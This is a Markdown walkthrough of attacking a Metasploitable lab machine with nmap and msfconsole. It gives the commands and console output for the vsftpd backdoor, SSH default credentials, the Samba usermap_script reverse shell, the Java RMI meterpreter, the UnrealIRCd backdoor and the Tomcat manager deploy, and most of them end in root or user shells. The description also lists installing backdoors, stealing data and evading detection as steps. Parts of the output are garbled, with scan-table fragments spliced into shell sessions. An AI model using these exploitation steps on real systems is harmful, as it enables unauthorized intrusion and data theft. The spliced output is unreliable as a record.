

# System Hacking through msfconsole

1) Firstly, scan the system through nmap (`nmap [ip] -v -sT -p 1-65535 -oX tcpscan.xml -sV` ).

2) Then change the .xml file .html by (`xsltproc tcpscan.xml -o tcpscan.html`). It gives all the open ports and services that we will run in browser.

3) Now, type (`service postgresql start`) to start the service of msfconsole.

Then type (`msfconsole`) run the console.

4) Then type (`db_status`) to know that our system is connected to our database or not. You can also import the .xml file to this console by giving command (`db_import filename`).

5) For enumeration :-- type search service (like ftp) auxiliary. It show various options like `auxiliary/ftp/anonymous_login`. Then type show options and fill the blank spaces which stated yes and ignore the no options. For that set RHOSTS then give target system's ip. Then type `run/exploit` to execute that auxiliary cmd.

6) All these steps are also for exploitation. After all these steps there are some more commands written below.

7) After execution, type sessions to check session of that auxiliary. To access that session type (sessions -i [session no.]).

8) Now you got the system's access. To check the machine name, you can type whoami/uname -a/hostname).

## Here are the various steps which I used to gain the access of a system

### **DESCRIPTION**

- ❖ System Hacking Process for Local Metasploitable Machine
- ❖ The local Metasploitable machine is a vulnerable system designed for penetration testing and learning ethical hacking. It is a virtual machine that can be installed on a computer to practice hacking techniques.
- ❖ To hack this machine, you would need to follow these steps:
  1. Set up the Metasploitable machine on your computer.
  2. Use tools like Nmap to scan the network and identify open ports and services.
  3. Look for vulnerabilities in the services and applications running on the machine.
  4. Use Metasploit to exploit any vulnerabilities found.
  5. Gain access to the machine and install backdoors or malware.
  6. Steal sensitive data and documents.
  7. Maintain persistence and avoid detection by security measures.
- ❖ The main steps of system hacking are written below :-

- Open the tcpscan.html file in browser.

#### Ports

The 65505 ports scanned but not shown below are in state: **closed**

• 65505 ports replied with: **conn-refused**

Port	State (toggle closed [B]   filtered [D])	Service	Reason	Product	Version	Extra info
21	tcp open	ftp	syn-ack	vsftpd	2.3.4	
22	tcp open	ssh	syn-ack	OpenSSH	4.7p1 Debian 8ubuntu1	protocol 2.0
23	tcp open	telnet	syn-ack	Linux telnetd		
25	tcp open	smtp	syn-ack	Postfix smtpd		
53	tcp open	domain	syn-ack	ISC BIND	9.4.2	
80	tcp open	http	syn-ack	Apache httpd	2.2.8	(Ubuntu) DAV/2
111	tcp open	rpcbind	syn-ack		2	RPC #100000
139	tcp open	netbios-ssn	syn-ack	Samba smbd	3.X - 4.X	workgroup: WORKGROUP
445	tcp open	netbios-ssn	syn-ack	Samba smbd	3.X - 4.X	workgroup: WORKGROUP
512	tcp open	exec	syn-ack	netkit-rsh rexecd		
513	tcp open	login	syn-ack	OpenBSD or Solaris rlogind		
514	tcp open	tcpwrapped	syn-ack			
1099	tcp open	java-rmi	syn-ack	GNU Classpath gmvregistry		
1524	tcp open	bindshell	syn-ack	Metasploitable root shell		
2049	tcp open	rtls	syn-ack		2-4	RPC #100003
2121	tcp open	ftp	syn-ack	ProFTPD	1.3.1	
3306	tcp open	mysql	syn-ack	MySQL	5.0.51a-3ubuntu5	
3632	tcp open	distcd	syn-ack	distcd	v1	(GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)
5432	tcp open	postgresql	syn-ack	PostgreSQL DB	8.3.0 - 8.3.7	
5900	tcp open	vnc	syn-ack	VNC		protocol 3.3
6000	tcp open	X11	syn-ack			access denied
6667	tcp open	irc	syn-ack	UnrealIRCd		
6667	tcp open	irc	syn-ack	UnrealIRCd		
8009	tcp open	ajp13	syn-ack	Apache Jserv		Protocol v1.3
8180	tcp open	http	syn-ack	Apache Tomcat/Coyote JSP engine	1.1	
8787	tcp open	drb	syn-ack	Ruby DRb RMI		Ruby 1.8: path /usr/lib/ruby/1.8/drdb
36074	tcp open	mountd	syn-ack		1-3	RPC #100005
41991	tcp open	status	syn-ack		1	RPC #100024
50594	tcp open	nlockmgr	syn-ack		1-4	RPC #100021
59610	tcp open	java-rmi	syn-ack	GNU Classpath gmvregistry		

- Now search (search ftp auxiliary) then :--

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msf6 > search ftp auxiliary gle
Matching Modules
=====
# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/scanner/ftp/anonymous syn-ack normal No Anonymous FTP Access Detection
1 auxiliary/gather/apple_safari_ftp_url_cookie_theft 2015-04-08 normal No Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft
2 auxiliary/server/capture/ftp normal No Authentication Capture: FTP
3 auxiliary/scanner/ftp/bison_ftp_traversal 2015-09-28 normal Yes BisonWare Bison FTP Server 3.5 Directory Traversal Information Disclosure
4 auxiliary/scanner/ssh/cerberus_ftp_enumusers 2014-05-27 normal No Cerberus FTP Server SFTP Username Enumeration
5 auxiliary/scanner/snmp/cisco_config_tftp syn-ack normal No Cisco IOS SNMP Configuration Grabber (TFTP)
6 auxiliary/scanner/snmp/cisco_upload_file syn-ack normal No Cisco IOS SNMP File Upload (TFTP)
7 \ action: Override_Config rpcbind syn-ack Override the running config
8 \ action: Upload_File netbios-ssn syn-ack Upload the file
9 auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass 2006-08-23 normal No Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
10 auxiliary/scanner/ftp/colorado_ftp_traversal 2016-08-11 normal Yes Colorado FTP Server 1.3 Build 8 Directory Traversal Information Disclosure
11 auxiliary/gather/crushftp_fileread_cve_2024_4040 normal Yes CrushFTP Unauthenticated Arbitrary File Read
12 auxiliary/scanner/ftp/easy_file_sharing_ftp 2017-03-07 normal Yes Easy File Sharing FTP Server 3.6 Directory Traversal
13 auxiliary/scanner/ftp/ftp_login normal No FTP Authentication Scanner
14 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner

```

- Type (use 0) because we select the first option and that's name is 0.

```

msf6 > use 0
msf6 auxiliary(scanner/ftp/anonymous) > show options

Module options (auxiliary/scanner/ftp/anonymous):

Name CurrentSetting Required Description
----
FTPPASS mozilla@example.com The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

```

- We got the username and password of the ftp. Now type set RHOSTS (ip of targeted system) because it stated yes. So it's necessary to fill the blank space.

```
msf6 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.65.147
RHOSTS => 192.168.65.147
msf6 auxiliary(scanner/ftp/anonymous) > run

[+] 192.168.65.147:21 - 192.168.65.147:21 - Anonymous READ (220 (vsFTPd 2.3.4))
[*] 192.168.65.147:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

- It's successfully completed now its time to exploit for that search (search ftp exploit). You can also search by their product name.

```
msf6 auxiliary(scanner/ftp/anonymous) > search vsftpd exploit
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 auxiliary(scanner/ftp/anonymous) > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd\_234\_backdoor):

Name	Current Setting	Required	Description
CHOST	no		The local client address
CPORT	no		The local client port
Proxies	no		A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	yes		The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	21	yes	The target port (TCP)

Exploit target:

Id	Name
0	Automatic

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > setg RHOSTS 192.168.65.147
RHOSTS => 192.168.65.147
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.65.147:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.65.147:21 - USER: 331 Please specify the password.
[+] 192.168.65.147:21 - Backdoor service has been spawned, handling...
[+] 192.168.65.147:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.65.143:41637 -> 192.168.65.147:6200) at 2024-07-28 12:14:11 +0530

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
pwd
/
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

```

- We successfully gain the access of a system through a port name called ftp.
- Now move into another port that is ssh.

```

msf6 auxiliary(scanner/ssh/juniper_backdoor) > search ssh exploit

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check Description
-  -
0  exploit/linux/http/alienvault_exec        2017-01-31      excellent Yes  AlienVault OSSIM/USM Remote Code Execution
1  auxiliary/scanner/ssh/apache_karaf_command_execution 2016-02-09      normal No   Apache Karaf Default Credentials Command Execution
2  exploit/apple_ios/ssh/cydia_default_ssh   2007-07-02      excellent No   Apple iOS Default SSH Password Vulnerability
3  exploit/unix/ssh/arista_tacplus_shell     2020-02-02      great   Yes   Arista restricted shell escape (with privs)
4  exploit/unix/ssh/array_vxapv_privkey_privesc 2014-02-03      excellent No   Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution
5  exploit/linux/ssh/ceragon_fibeair_known_privkey 2015-04-01      excellent No   Ceragon FibeAir IP-10 SSH Private Key Exposure
6  auxiliary/dos/cisco/cisco_7937g_dos       2020-06-02      normal No   Cisco 7937G Denial-of-Service Attack
7  auxiliary/admin/http/cisco_7937g_ssh_privesc 2020-06-02      normal No   Cisco 7937G SSH Privilege Escalation
8  exploit/linux/http/cisco_asax_sfr_rce     2022-06-22      excellent Yes   Cisco ASA-X with FirePOWER Services Authenticated Command Injection
9  \ target: Shell Dropper
10 \ target: Linux Dropper
11 exploit/linux/ssh/cisco_ucs_scuser        2019-08-21      excellent No   Cisco UCS Director default scuser password
12 exploit/linux/ssh/exagrid_known_privkey   2016-04-07      excellent No   ExaGrid Known SSH Key and Default Password
13 exploit/linux/ssh/f5_bigip_known_privkey  2012-06-11      excellent No   F5 BIG-IP SSH Private Key Exposure
14 exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684 2022-10-10      excellent Yes  Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.
15 exploit/windows/ssh/ftppd_key_exchange    2006-05-12      average No   FreeFTPD 1.0.10 Key Exchange Algorithm String Buffer Overflow
16 \ target: Windows 2000 SP0-SP4 English
17 \ target: Windows 2000 SP0-SP4 German
18 \ target: Windows XP SP0-SP1 English
19 \ target: Windows XP SP2 English
20 exploit/windows/ssh/freebsd_key_exchange  2006-05-12      average No   FreeBSD 1.0.9 Key Exchange Algorithm String Buffer Overflow
21 \ target: Windows 2000 Pro SP4 English
22 \ target: Windows XP Pro SP0 English
23 \ target: Windows XP Pro SP1 English
24 exploit/windows/ssh/freebsd_authbypass    2010-08-11      excellent Yes  FreeBSD Authentication Bypass
25 \ target: PowerShell
26 \ target: CmdStager upload
27 exploit/multi/http/gitlab_shell_exec      2013-11-04      excellent Yes  Gitlab-shell Code Execution

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```

msf6 auxiliary(scanner/ssh/juniper_backdoor) > use 11
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/ssh/cisco_ucs_scpsu) > show options
Module options (exploit/linux/ssh/cisco_ucs_scpsu):
-----
Name      CurrentSetting Required Description
-----
PASSWORD  scpsu         yes      Password to login with
RHOSTS    192.168.65.147 yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     22            yes      The target port
USERNAME  scpsu         yes      Username to login with

Exploit target:
-----
Id  Name
--  --
0   Cisco UCS Director < 6.7.2.0

View the full module info with the info, or info -d command.

msf6 exploit(linux/ssh/cisco_ucs_scpsu) > run

[*] 192.168.65.147:22 - Attempt to login to the Cisco appliance...
[-] 192.168.65.147:22 SSH - Failed authentication
[*] Exploit completed, but no session was created.
msf6 exploit(linux/ssh/cisco_ucs_scpsu) > set USERNAME user
USERNAME => user
msf6 exploit(linux/ssh/cisco_ucs_scpsu) > set PASSWORD user
PASSWORD => user
msf6 exploit(linux/ssh/cisco_ucs_scpsu) > run

[*] 192.168.65.147:22 - Attempt to login to the Cisco appliance...
[*] 192.168.65.147:22 - Login Successful (user:user)
[*] Found shell.
[*] Command shell session 2 opened (192.168.65.143:39227 -> 192.168.65.147:22) at 2024-07-28 12:56:55 +0530

whoami
user
hostname
metasploitable
ls
hello
sampe.txt

```

- We know the default username and password of ssh that is user:user if we don't know then, we search auxiliary and then put rockyou.txt in username and password section. We also got the access of ssh service of port number 22.
- Now move onto another service or port number.
- Search samba exploit, then choose an exploit



```
msf6 exploit(linux/ssh/cisco_ucs_scputile) > search samba exploit
```

#### Matching Modules

#		Name	Disclosure Date
Rank	Check	Description	
0	exploit	exploit/unix/webapp/citrix_access_gateway_exec	2010-12-21
excellent	Yes	Citrix Access Gateway Command Execution	
1	exploit	exploit/windows/license/calicclnt_getconfig	2005-03-02
average	No	Computer Associates License Client GETCONFIG Overflow	
2	target	Automatic	
3	target	Windows 2000 English	
4	target	Windows XP English SP0-1	
5	target	Windows XP English SP2	
6	target	Windows 2003 English SP0	
7	exploit	exploit/unix/misc/distcc_exec	2002-02-01
excellent	Yes	DistCC Daemon Command Execution	
8	exploit	exploit/windows/smb/group_policy_startup	2015-01-26
manual	No	Group Policy Script Execution From Shared Resource	
9	target	Windows x86	
10	target	Windows x64	
11	exploit	exploit/windows/fileformat/ms14_060_sandworm	2014-10-14
excellent	No	MS14-060 Microsoft Windows OLE Package Manager Code Execution	
12	exploit	exploit/unix/http/quest_kace_systems_management_rce	2018-05-31
excellent	Yes	Quest KACE Systems Management Command Injection	
13	exploit	exploit/multi/samba/usermap_script	2007-05-14
excellent	No	Samba "username map script" Command Execution	
14	exploit	exploit/multi/samba/nttrans	2003-04-07
average	No	Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow	
15	exploit	exploit/linux/samba/setinfopolicy_heap	2012-04-10
normal	Yes	Samba SetInformationPolicy AuditEventsInfo Heap Overflow	



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msf6 exploit(linux/ssh/cisco_ucs_scput)> use 13
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_scrip)> show options
Module options (exploit/multi/samba/usermap_scrip):
-----
Name      Current Setting  Required  Description
-----
CHOST      192.168.65.147   no        The local client address
CPORT      22               no        The local client port
Proxies     no               A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.65.147   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):
-----
Name      Current Setting  Required  Description
-----
LHOST      192.168.65.143   yes       The listen address (an interface may be specified)
LPORT      4444             yes       The listen port

Exploit target:
-----
Id  Name  145  tcp  open  netbios-ssn  syn-ack  Samba smbd  3.X - 4.X
--  --
0   Automatic
512  tcp  open  exec         syn-ack  netkit-rsh

View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_scrip)> run
[*] Started reverse TCP handler on 192.168.65.143:4444
[*] Command shell session 3 opened (192.168.65.143:4444 -> 192.168.65.147:34540) at 2024-07-28 13:05:17 +0530

whoami
root
hostname
metasploitable

```

- So we also got the access of samba service on port number 139.
- Move into another port number 1099.

```
msf6 exploit(multi/samba/usermap_script)> search java rmi exploit
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## Matching Modules

=====				
#	Name	Disco	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-0		Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
5-22	excellent	Yes		
1	exploit/multi/http/crushftp_rce_cve_2023_43177	2023-0		CrushFTP Unauthenticated RCE
8-08	excellent	Yes		
2	target: Java			
3	target: Linux Dropper			
4	target: Windows Dropper			
5	exploit/multi/misc/java_jmx_server	2013-0		Java JMX Server Insecure Configuration Java Code Execution
5-22	excellent	Yes		
6	auxiliary/scanner/misc/java_jmx_server	2013-0		Java JMX Server Insecure Endpoint Code Execution
5-22	normal	No		
7	exploit/multi/misc/java_rmi_server	2011-1		Java RMI Server Insecure Default Configuration Java Code Execution
0-15	excellent	Yes		
8	target: Generic (Java Payload)			
9	target: Windows x86 (Native Payload)			
10	target: Linux x86 (Native Payload)			
11	target: Mac OS X PPC (Native Payload)			

```
msf6 exploit(multi/samba/usermap_scrip) > use 7
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes      Time that the HTTP Server will wait
for the payload request
RHOSTS    192.168.65.147  yes      The target host(s), see https://doc
s.metasploit.com/docs/using-metaspl
oits/basics/using-metasploit.html
RPORT     1099            yes      The target port (TCP)
SRVHOST   0.0.0.0         yes      The local host or network interface
to listen on. This must be an addr
ess on the local machine or 0.0.0.0
to listen on all addresses.
SRVPORT   8080            yes      The local port to listen on.
SSL       false           no       Negotiate SSL for incoming connecti
ons
SSLCert   no              no       Path to a custom SSL certificate (d
efault is randomly generated)
URIPATH   no              no       The URI to use for this exploit (de
fault is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.65.143  yes      The listen address (an interface may be
specified)
LPORT     4444            yes      The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.65.143:4444
[*] 192.168.65.147:1099 - Using URL: http://192.168.65.143:8080/2G9HvZKs
[*] 192.168.65.147:1099 - Server started.
[*] 192.168.65.147:1099 - Sending RMI Header...
[*] 192.168.65.147:1099 - Sending RMI Call...
[*] 192.168.65.147:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.65.147
[*] Meterpreter session 4 opened (192.168.65.143:4444 -> 192.168.65.147:36128)
at 2024-07-28 13:14:26 +0530

meterpreter > whoami
(-) Unknown command: whoami. Run the help command for more details.

meterpreter > pwd
/

meterpreter > hostname
(-) Unknown command: hostname. Run the help command for more details.

meterpreter > ls
Listing: /
=====

Mode      Size  Type  Last modified      Name
--      -
040666/rw-rw-rw- 4096  dir   2012-05-14 09:05:33 +0530 bin
040666/rw-rw-rw- 1024  dir   2012-05-14 09:06:28 +0530 boot
040666/rw-rw-rw- 4096  dir   2010-03-17 04:25:51 +0530 cdrom
040666/rw-rw-rw- 13700 dir   2024-07-28 11:22:13 +0530 dev
040666/rw-rw-rw- 4096  dir   2024-07-28 13:09:27 +0530 etc
040666/rw-rw-rw- 4096  dir   2010-04-16 11:46:02 +0530 home
```

- Here we got the access of another system through java-rmi service.
- Now, we move into another service called irc on port 6667.

```
msf6 exploit(multi/misc/java_rmi_serv) > search irc exploit backdoor
Matching Modules
=====
# Name                               Disclosure Date Rank Check Description
-----
0 exploit/multi/local/allwinner_backdoor 2016-04-30 excellent Yes Allwinner 3.4 Legacy Kernel Local Privilege Escalation
1 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCd 3.2.8.1 Backdoor Command Execution

RHOSTS 192.168.198.134 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/irc/unreal_ircd_3281_backdoor

msf6 exploit(multi/misc/java_rmi_serv) > use 1
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name Current Setting Required Description
----
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.65.147 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)

Exploit target:

Id Name
--
0 Automatic Target
```

```

msf6 exploit(unix/irc/unreal_ircd_3281_backdo)>> run
[-] 192.168.65.147:6667 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdo)>> show payloads
Compatible Payloads
=====
# Name      Disclosure Date Rank
Check Description
-----
0 payload/cmd/unix/adduser      .      norm
al No      Add user with useradd
1 payload/cmd/unix/bind_perl    .      norm
al No      Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 .      norm
al No      Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/bind_ruby    .      norm
al No      Unix Command Shell, Bind TCP (via Ruby)
4 payload/cmd/unix/bind_ruby_ipv6 .      norm
al No      Unix Command Shell, Bind TCP (via Ruby) IPv6
5 payload/cmd/unix/generic      .      norm
al No      Unix Command, Generic Command Execution
6 payload/cmd/unix/reverse      .      norm
al No      Unix Command Shell, Double Reverse TCP (telnet)
7 payload/cmd/unix/reverse_bash_telnet_ssl .      norm
al No      Unix Command Shell, Reverse TCP SSL (telnet)
8 payload/cmd/unix/reverse_perl .      norm
al No      Unix Command Shell, Reverse TCP (via Perl)
9 payload/cmd/unix/reverse_perl_ssl .      norm
al No      Unix Command Shell, Reverse TCP SSL (via perl)
10 payload/cmd/unix/reverse_ruby .      norm
al No      Unix Command Shell, Reverse TCP (via Ruby)
11 payload/cmd/unix/reverse_ruby_ssl .      norm
al No      Unix Command Shell, Reverse TCP SSL (via Ruby)
12 payload/cmd/unix/reverse_ssl_double_telnet .      norm
al No      Unix Command Shell, Double Reverse TCP SSL (telnet)

msf6 exploit(unix/irc/unreal_ircd_3281_backdo)>> set payload payload/cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf6 exploit(unix/irc/unreal_ircd_3281_backdo)>> run

```

- Here, we need to select a payload. For that type show payloads, then set payload by typing (set payloads [and name of that payload]).

```

[-] 192.168.65.147:6667 - Msf::OptionValidateError One or more options f
ailed to validate: LHOST.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdo)> setg LHOST 192.168.65
.143
LHOST=> 192.168.65.143
msf6 exploit(unix/irc/unreal_ircd_3281_backdo)> run
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > option
[*] Started reverse TCP handler on 192.168.65.143:4444
[*] 192.168.65.147:6667 - Connected to 192.168.65.147:6667...
:irc.Metasploitable.LAN NOTICE AUTH:*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH:*** Couldn't resolve your hostn
ame; using your IP address instead
[*] 192.168.65.147:6667 - Sending backdoor command...
[*] Command shell session 5 opened (192.168.65.143:4444 -> 192.168.65.14
7:44504) at 2024-07-28 13:25:26 +0530

whoami
root
RHOSTS 192.168.198.134 yes The target host(s)
hostname
metasploitable
6667 yes The target port (TCP)
ls
Donation
LICENSE
aliases
badwords.channel.conf 5900 tcp open vnc s
badwords.message.conf
badwords.quit.conf 6000 tcp open X11 s
curl-ca-bundle.crt

```

- Now we got another error of not selecting the RHOSTS & LHOST. After giving these two then run the command and boom we got the access of targeted system.
- Let's move onto another service called tomcat on port 8180.



```

msf6 exploit(linux/http/vmware_view_planner_4_6_uploadlog_rc) > search tomcat exploit

Matching Modules
=====

#  Name                                     Disclosure Date  Rank  Check  Description
--  --
0  exploit/multi/http/struts_dev_mode        2012-01-06      excellent Yes   Apache Struts 2 Developer Mode OGNL Execution
1  exploit/multi/http/struts2_namespace_ognl 2018-08-22      excellent Yes   Apache Struts 2 Namespace Redirect OGNL Injection
2  \_ target: Automatic detection
3  \_ target: Windows
4  \_ target: Linux
5  exploit/multi/http/struts_code_exec_classloader 2014-03-06      manual No    Apache Struts ClassLoader Manipulation Remote Code Exec
6  \_ target: Java
7  \_ target: Linux
8  \_ target: Windows
9  \_ target: Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)
10 auxiliary/admin/http/tomcat_ghostcat      2020-02-20      normal Yes   Apache Tomcat AJP File Read
11 exploit/windows/http/tomcat_cgi_cmdlineargs 2019-04-10      excellent Yes   Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
12 exploit/multi/http/tomcat_mgr_deploy      2009-11-09      excellent Yes   Apache Tomcat Manager Application Deployer Authentication Code Execution
13 \_ target: Automatic
14 \_ target: Java Universal
15 \_ target: Windows Universal
16 \_ target: Linux x86
17 exploit/multi/http/tomcat_mgr_upload      2009-11-09      excellent Yes   Apache Tomcat Manager Authenticated Upload Code Execution
18 \_ target: Java Universal
19 \_ target: Windows Universal
20 \_ target: Linux x86
21 exploit/linux/local/tomcat_rhel_based_temp_priv_esc 2016-10-10      manual Yes   Apache Tomcat on RedHat Based Systems Insecure Temp Configuration Privilege Escalation
22 exploit/linux/local/tomcat_ubuntu_log_init_priv_esc 2016-09-30      manual Yes   Apache Tomcat on Ubuntu Log Init Privilege Escalation
23 exploit/multi/http/atlassian_confluence_webwork_ognl_injection 2021-08-25      excellent Yes   Atlassian Confluence WebWork OGNL Injection
24 \_ target: Unix Command
25 \_ target: Linux Dropper
26 \_ target: Windows Command
27 \_ target: Windows Dropper
28 \_ target: PowerShell Stager
29 exploit/windows/http/cayin_xpost_sqlrce 2020-06-04      excellent Yes   Cayin xPost wayfinder_seqid SQLi to RCE
30 exploit/multi/http/cisco_dcnm_upload_2019 2019-06-26      excellent Yes   Cisco Data Center Network Manager Unauthenticated Remote Code Execution
31 \_ target: Automatic
32 \_ target: Cisco DCNM 11.1(1)
33 \_ target: Cisco DCNM 11.0(1)
34 \_ target: Cisco DCNM 10.4(2)

```

- Then show options and fill the required options and run.



```
msf6 exploit(multi/http/tomcat_mgr_deplo)> run
[-] Exploit aborted due to failure: not-found: The target server fingerprint "Apache/
2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )" does not match "(?-mix:Ap
ache.*(Coyote|Tomcat))", use 'set FingerprintCheck false' to disable this check.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/tomcat_mgr_deplo)> show target
[-] Invalid parameter "target", use "show -h" for more information
msf6 exploit(multi/http/tomcat_mgr_deplo)> show targets
Exploit targets:
=====
Id Name
-- --
0 Automatic
1 Java Universal
2 Windows Universal
3 Linux x86

Active sessions
msf6 exploit(multi/http/tomcat_mgr_deplo)> set target 3
target => 3
msf6 exploit(multi/http/tomcat_mgr_deplo)> show payloads
Compatible Payloads
=====
# Name
ck Description
- - - - -
0 payload/generic/custom Custom Payload
1 payload/generic/debug_trap Generic x86 Debug Trap
2 payload/generic/shell_bind_aws_ssm Command Shell, Bind SSM (via AWS API)
3 payload/generic/shell_bind_tcp Generic Command Shell, Bind TCP Inline
4 payload/generic/shell_reverse_tcp Generic Command Shell, Reverse TCP Inline
5 payload/generic/ssh/interact Interact with Established SSH Connection
6 payload/generic/tight_loop Generic x86 Tight Loop
7 payload/linux/x86/chmod Linux Chmod
```

- Then set payload, as we done previously.

```

msf6 exploit(multi/http/tomcat_mgr_deploy)> set rport 8180
rport => 8180
msf6 exploit(multi/http/tomcat_mgr_deploy)> run

[*] Started reverse TCP handler on 192.168.65.143:4444
[*] Using manually select target "Linux x86"
[*] Uploading 1620 bytes as IN7fO2UUAUuzJPI9R3bJ4S5V3pv9vD8.war ...
[*] Executing /IN7fO2UUAUuzJPI9R3bJ4S5V3pv9vD8/uWR5vAHFYqoa.jsp...
[*] Sending stage (36 bytes) to 192.168.65.147
[*] Undeploying IN7fO2UUAUuzJPI9R3bJ4S5V3pv9vD8 ...
[*] Command shell session 6 opened (192.168.65.143:4444 -> 192.168.65.147:38740) at 2024-07-28 14:16:19 +0530

whoami
tomcat55
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc

```

- We got another access. Now search another exploit that name is vnc on port no. 5900.

```

msf6 exploit(multi/vnc/vnc_keyboard_exec)> search vnc exploit
Matching Modules
=====
#  Name
0  exploit/linux/misc/igcl_command_injection
1  \ target: Secure Terminal Service
2  \ target: Secure Shadow Service
3  exploit/multi/misc/legend_bot_exec
4  exploit/windows/vnc/realvnc_client
5  \ target: Windows 2000 SP4 English
6  \ target: Windows XP SP2 English
7  \ target: Windows 2003 SP1 English
8  auxiliary/admin/vnc/realvnc_41_bypass
9  auxiliary/scanner/http/thinvnc_traversal
10 exploit/windows/vnc/ultravnc_client
11 \ target: Windows 2000 SP4 English
12 \ target: Windows XP SP2 English
13 \ target: Windows 2003 SP1 English
14 exploit/windows/vnc/ultravnc_viewer_bof
15 exploit/multi/vnc/vnc_keyboard_exec
16 \ target: VNC Windows / Powershell
17 \ target: VNC Windows / VBScript CMDStager
18 \ target: VNC Linux / Unix
19 exploit/windows/vnc/winvnc_http_get
20 \ target: Windows NT4 SP3-6
21 \ target: Windows 2000 SP1-4
22 \ target: Windows XP SP0-1

```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/linux/misc/igcl_command_injection	2021-02-25	excellent	Yes	IGEL OS Secure VNC/ Terminal Command Injection RCE
1	\ target: Secure Terminal Service	.	.	.	.
2	\ target: Secure Shadow Service	.	.	.	.
3	exploit/multi/misc/legend_bot_exec	2015-04-27	excellent	Yes	Legend Perl IRC Bot Remote Code Execution
4	exploit/windows/vnc/realvnc_client	2001-01-29	normal	No	RealVNC 3.3.7 Client Buffer Overflow
5	\ target: Windows 2000 SP4 English	.	.	.	.
6	\ target: Windows XP SP2 English	.	.	.	.
7	\ target: Windows 2003 SP1 English	.	.	.	.
8	auxiliary/admin/vnc/realvnc_41_bypass	2006-05-15	normal	No	RealVNC NULL Authentication Mode Bypass
9	auxiliary/scanner/http/thinvnc_traversal	2019-10-16	normal	No	ThinVNC Directory Traversal
